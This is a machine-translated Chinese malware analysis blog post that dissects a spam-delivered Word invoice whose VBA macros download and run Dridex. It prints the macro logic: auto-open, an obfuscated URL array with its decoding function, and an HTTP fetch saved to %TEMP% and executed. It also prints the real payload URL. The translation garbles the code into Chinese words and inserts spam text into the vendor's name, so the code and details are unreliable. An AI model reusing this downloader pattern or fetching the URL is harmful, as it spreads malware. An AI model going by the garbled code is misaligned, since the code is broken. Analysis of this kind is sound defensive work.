一些恶意软件系列通常会使用垃圾邮件活动作为一种分发方法。通常他们部署了简单的社交工程技巧 - 试图以伪装的伪装提供包装可执行文件,即PDF(如我们之前提到的)。

这样的伎俩可能会欺骗一些用户 - 然而,更高级的人会注意到文件的实际扩展是.exe - 均值,它是一个可执行文件,而不是文件声明。但即使这是一个真正的文件,它并不意味着它是无害的。

在此帖子中,我们将揭示在垃圾邮件中传递的Doc文件的真正任务。

分析样品

(523)-INVOICE 7500005791.doc- MD5:370751889 f591000daa40c400d0611f2

提取宏

我将使用oledump-一个非常方便的工具解剖文件,编写Didier Stevens.

首先,让我们来看看Doc里面的元素是什么:
./oleDump.py“(523)-Invoice 7500005791.doc”

1: 114 \ x01CompObj 2: 4096“\ x05DocumentSummaryInformation”3:4096年“\ x05SummaryInformation”4:10158年“表1”5:513年的宏/项目6:113年的宏/ PROJECTwm 7: M 7807宏/ VBA Module1的8:18990 M的宏/ VBA / Module2 9: 15739 M的宏/ VBA / Module3 10: 1475 M的宏/ VBA / ThisDocument 11: 7123年的宏/ VBA / _VBA_PROJECT 12:617 `宏/VBA/dir ` 13: 4096 ` WordDocument `

正如我们在上面看到的,这个文件包含4个VB模块(streams: 7,8,9,10)。在这里,我们可能会看到一些不合法的功能——宏可能会部署恶意操作。让我们仔细看看。

我们可以在同一工具的帮助下轻松提取代码。

./oleDump.py -s -V <文件>

让我们取自所有:

./oledump.py -s 7 -v "(523)-发票7500005791.doc " >模块1.vb
./oledump.py -s 8 -v " (523)-Invoice 7500005791.doc " > Module2.vb
./oledump.py -s 9 -v " (523)-Invoice 7500005791.doc
./oledump.py -s 10 -v "(523)-发票7500005791.doc " > ThisDocument.vb . txt

分析宏

宏的执行开始于ThisDocument.vb

属性vb_name =“thateDocument”属性vb_base =“1normal.thisdocument”属性vb_globalnamespace = false属性vb_creatable = false属性vb_predeclareDid = true属性vb_exposed = true属性vb_templatederive = true属性vb_customizable = true子自动upen()userretiraitem 0,0,-5广播邮政0,“”sendboobj 0,0,“”darcuerpodenudo 0,false iniciardeposito 0 bloquear false,0,0,0,false haylava -1,-1,-1结束子

程序,流程autoopen部署几个函数,可以在其他VB模块中找到。
在另一个文件中有几个公共对象,用于共享它们之间的信息:

public halalaya作为对象公共adbrd作为对象公共processenv作为对象公共临时器作为字符串公共shellapp作为对象

该对象命名Halalaya.将用于处理HTTP通信。
这个函数SendBanObj生成一些GET请求:

Public Sub SendBanObj(UserIndex As Integer, Slot As Byte, Object As String) Set shellApp = CreateObject("Shell.Application")'*************************************************** ' 作者:Unknownn最后修改 : - ' '*************************************************** adbrd。类型= 1昏暗的教授()作为变量=数组(148,158,156,150,94,81,79,149,147,145,70,137,128,115,131,125,114,126年,54岁,105年,115年,48岁,117年,105年,43岁,47岁,46岁,42岁,43岁,39岁,40岁,36岁,33岁,25岁,81年,78年,27日,24日,68年,68年,78年,8日,61年,78年,57)halalaya。打开"GET", GetStringFromArray(教授,44),False退出Sub Us.rList(Use.rIndex). bancoinvento .Object(Slot) =对象调用write . echangebankslot (UserI. rindex). GetStringFromArray(教授,44),False退出ndex, Slot)结束Sub

Get请求引用的链接不可读取。幸运的是,可以在另一个模块中轻松找到Deobfuscated程序:

公共函数getstringfromArray(FromArr()作为变体,Lenlen为整数)作为字符串Dim i作为整数点昏暗结果作为字符串结果=“”对于i = lbound(fromarr)到ubound(fromarr)结果=结果和chr(fromarr(fromarr(i)-  Lenlen + I * 2)接下来我getStringFromArray =结果结束功能

在数组上执行函数的结果是,我们得到了链接,从那里获取有效负载:
http://www.slasoft.co.uk/56475865/ih76dfr.exe

响应被保存到临时文件中并部署:

adbrd.write halalaya.responseBody adbrd.savetofile tempfile,2 shellapp.open(tempfile)结束功能

创建临时文件的名称:

tempFile = processEnv("T" & "EMP")
如果tomap然后调用sen.ddata(sendtarget.tomap,sndindex,preding.emessageblockposition(x,y,b))调用writ.eblockposition(sndindex,x,y,b)结束,如果tempfile = tempfile +“\”&“hich“&”az2“+”。“+“e”+“xe”结束子

因此,正如我们所看到的那样,结果被保存到:HIBHAZ2.EXE.在%TEMP%目录下。

结论

简单的分析已经证明,交付的文件不是真正的发票,而是一个下载者。它从硬编码链接获取可执行文件,将其保存在临时文件夹并部署。

下载的文件是Dridex Malware的示例 - MD5:7 f0076993f2d8a4629ea7b0df5b9bddd

Malwareby必威平台APPtes反恶意软件的用户可以从这个Dridex变体系中安全,因为它被检测为Trojan.Sharik。
但是,Malwarebytes防爆溢必威平台APP价的用户受到防爆溢价的保护,因为文件被阻止在它设法部署其恶意函数之前被阻止:
MBAECAPTURE5.